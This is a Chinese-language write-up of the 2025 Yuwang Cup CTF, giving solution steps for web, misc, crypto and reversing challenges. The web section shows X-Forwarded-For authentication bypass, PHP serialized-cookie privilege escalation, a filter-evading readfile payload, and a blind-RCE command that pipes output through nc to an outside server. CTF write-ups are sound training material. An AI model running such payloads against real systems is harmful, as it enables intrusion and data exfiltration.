2025御网杯 misc+crypto+web全解+re1
字数 2222 2025-08-29 22:41:01
2025御网杯CTF全解教学文档
Web安全部分
YWB_Web_xff
解题步骤:
- 查看网页源码,发现需要修改IP进行登录
- 使用浏览器插件(如ModHeader)修改X-Forwarded-For头
- 随意输入登录凭据即可通过验证
技术要点:
- X-Forwarded-For (XFF) HTTP头通常用于识别客户端原始IP
- 服务器信任了可被用户控制的HTTP头导致认证绕过
YWB_Web_未授权访问
解题步骤:
- 抓包分析请求,发现Cookie存在问题
- 对Cookie进行URL解码,发现是序列化数据
- 观察序列化数据最后一位是0,修改为1实现越权访问
序列化数据格式示例:
a:2:{s:8:"username";s:5:"admin";s:6:"status";i:0;}
修改为:
a:2:{s:8:"username";s:5:"admin";s:6:"status";i:1;}
技术要点:
- PHP反序列化漏洞
- 通过修改序列化数据中的权限标志实现权限提升
easyweb (无回显RCE)
解题步骤:
- 代码审计发现需要POST传参cmd
- 发现回显被注释,属于无回显RCE
- 使用curl进行数据外带:
curl http://target.com --data "cmd=whoami | nc your_server_ip 4444" - 在公网服务器使用nc监听获取结果
技术要点:
- 无回显命令执行利用技巧
- 数据外带技术(DNS/HTTP/ICMP等)
- 公网服务器作为中继点
YWB_Web_命令执行过滤绕过
解题步骤:
- 源码审计发现多重过滤
- 传入参数必须包含"flag"
- 在网页源码注释中发现线索
- 使用readfile函数读取/tmp/flag.nisp
Payload分析:
$_(%27/tmp/flag.nisp%27)
其中:
chr()将ASCII码转换为字符串- 使用点(.)拼接字符串
$_变量赋值为"readfile"- 最终等效于
readfile('/tmp/flag.nisp')
技术要点:
- 字符串构造技巧绕过过滤
- 变量动态函数调用
- 文件路径猜测
YWB_Web_反序列化
解题步骤:
- 源码审计发现反序列化入口点
- 抓包分析发现存在序列化参数点
- 构造恶意序列化数据实现攻击
技术要点:
- PHP反序列化漏洞利用
- 魔术方法(__wakeup, __destruct等)的利用
- POP链构造
杂项(Misc)部分
ez_xor
解题步骤:
- 分析附件内容
- 识别出是XOR加密
- 使用0x39作为密钥进行异或解密
技术要点:
- XOR加密原理
- 密钥识别与破解
光隙中的寄生密钥
解题步骤:
- 分析图片附件
- 使用binwalk分离出加密文档
- 使用ARCHPR进行爆破
- 对得到的密文先hex解码再base64解码
技术要点:
- 文件隐写分析
- 密码爆破工具使用
- 编码转换技巧
被折叠的显影图纸
解题步骤:
- 直接使用自动化工具处理
- 可能需要多次解码或转换
ez_picture
解题步骤:
- 分析图片RGB通道异常
- 发现随波逐流图片特性
- 提取出加密压缩包
- 解密得到图片,再次分析发现base64编码
- 解码后发现PK头(ZIP文件特征)
- 修改文件扩展名为zip并解压
- 重复上述过程最终获取flag
技术要点:
- 图片隐写分析
- 文件格式识别
- 多层编码/加密处理
easy_misc
解题步骤:
- 编写脚本处理文件内容
- 将ASCII码转换为字符
- 得到base64编码结果
- 先进行base58解码
- 再进行凯撒解密
技术要点:
- 编码转换
- 古典密码分析
密码学(Crypto)部分
easy-签到题
解题步骤:
- 分析exe文件
- 读取hex数据
- 使用密码学工具箱直接解密
cry_rsa
解题步骤:
- 分析RSA题目附件
- 编写解密脚本:
from Crypto.Util.number import * # 提供n, e, c等参数 # 进行RSA解密操作 - 直接计算得到flag
技术要点:
- RSA算法原理
- 大数分解
- 模运算
gift
解题步骤:
- 分析附件内容
- 根据题目提示("披萨")联想到"pie"(饼)
- 尝试pie作为密钥解密
- 得到flag{zso}
技术要点:
- 密码学中的语义提示
- 密钥猜测技巧
草甸方阵的密语
解题步骤:
- 根据提示使用栅栏密码+凯撒密码
- 随波逐流读取exe文件
- 栅栏解密(7栏)
- 凯撒解密
技术要点:
- 栅栏密码原理
- 凯撒密码破解
- 组合密码分析
ez_base
解题步骤:
- 识别为垃圾邮件编码
- 使用spammimic网站解码器处理
- 得到字符串后进行base64解码
技术要点:
- 特殊编码识别
- 在线工具辅助分析
baby_rsa
解题步骤:
- 分析txt附件内容
- 识别exe的hex数据实为python脚本
- 修改文件后缀为.py
- 编写解密脚本:
# 提供RSA参数 # 实现解密逻辑 - 将结果中的4改为5提交
技术要点:
- 文件格式识别
- RSA算法实现
- Python脚本分析
逆向工程(Re)部分
sign in
解题步骤:
- 使用strings查看文件,发现UPX壳
- 使用upx -d脱壳
- IDA打开脱壳后文件,F5查看伪代码
- 分析发现RC4加密方法
- 定位rc4_crypt加密函数
- 分析callme函数的加密逻辑,提取密钥和字符串
- 编写解密脚本
技术要点:
- 加壳识别与脱壳
- 静态分析工具使用
- RC4算法分析
- 密钥提取与解密脚本编写
综合技巧总结
-
Web安全:
- 始终检查源码和注释
- 关注HTTP头操作(XFF, Cookie等)
- 序列化/反序列化漏洞利用
- 命令执行过滤绕过技巧
-
Misc:
- 文件分析三板斧:binwalk, strings, hexdump
- 多层编码/加密识别
- 自动化脚本处理
-
Crypto:
- 识别密码类型(对称/非对称/古典)
- 利用现有工具加速解密
- 注意题目中的语义提示
-
Reverse:
- 加壳识别与处理
- 静态分析结合动态调试
- 加密算法识别与逆向
通过以上详细分析和解题步骤,参赛者可以全面掌握2025御网杯CTF中的各类题型和解题技巧。